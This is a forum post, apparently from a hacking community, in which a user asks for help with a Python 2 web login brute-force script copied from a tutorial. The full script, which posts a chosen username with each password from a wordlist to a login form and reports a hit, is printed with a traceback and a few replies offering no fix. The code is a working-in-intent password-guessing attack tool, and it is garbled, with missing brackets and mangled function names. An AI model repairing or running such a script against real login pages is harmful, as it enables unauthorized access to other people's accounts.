Hi Guys!
I trying out the code that was written in this lesson https://null-byte.wonderhowto.com/forum/nullforce-web-based-login-cracker-0137165/ (you can find the code here below) on how to build a web based login cracker, but it keeps giving me the same error.. there's someone who can help me? Thank you a lot
here is the error message:
- Words loaded: 3
Traceback (most recent call last):
File "forcer.py", line 24, in
opener = urllib2.buildopener(host)##Create an opener from the "host" variable.
File "/usr/lib/python2.6/urllib2.py", line 477, in buildopener
opener.addhandler(h)
File "/usr/lib/python2.6/urllib2.py", line 311, in addhandler
type(handler))
TypeError: expected BaseHandler instance, got
-----------------------------------------------------------------------------------------------------
This insted is the code:
import re, urllib, urllib2
#Global vars
host = ""##Login form action URL
usr = "" ##Username/email to hax
wl = "" ##File path to wordlist
badLogin ="" ##What the page source throws for bad logins, this can be a partial word
#Wordlist vars
words = open(wl, "r").readlines()
print "+ Words loaded:", len(words)
for word in words:
word = word.replace("\n","")##This will remove newlines.
loginSequence = ##Mimics web form.
('username', usr),##Name field name. Change if something else.
('password', word)##Password field name. Change if named something else.
loginData = urllib.urlencode(loginSequence)##Encode the data using urllib.
opener = urllib2.buildopener(host)##Create an opener from the "host" variable.
opener.addheaders = ('User-agent', 'Mozilla/5.0')##Add a user-agent so we look like a web browser.
source = opener.open(host, loginData).read()##Get the source from the site using our form.
if re.search(badLogin,source) == None:##If the source doesn't have badLogin var true, hacked.
print "Successful Login:",usr, word
3 Responses
Without looking, it's Python. Says it within the error message.
Though, I haven't really looked through the code.
ghost_
Any suggestions on what to do?
Anyway, I saw that other people reported the same error in the old post. But in the end nobody explained how to solve it.. :)
Hi
Share Your Thoughts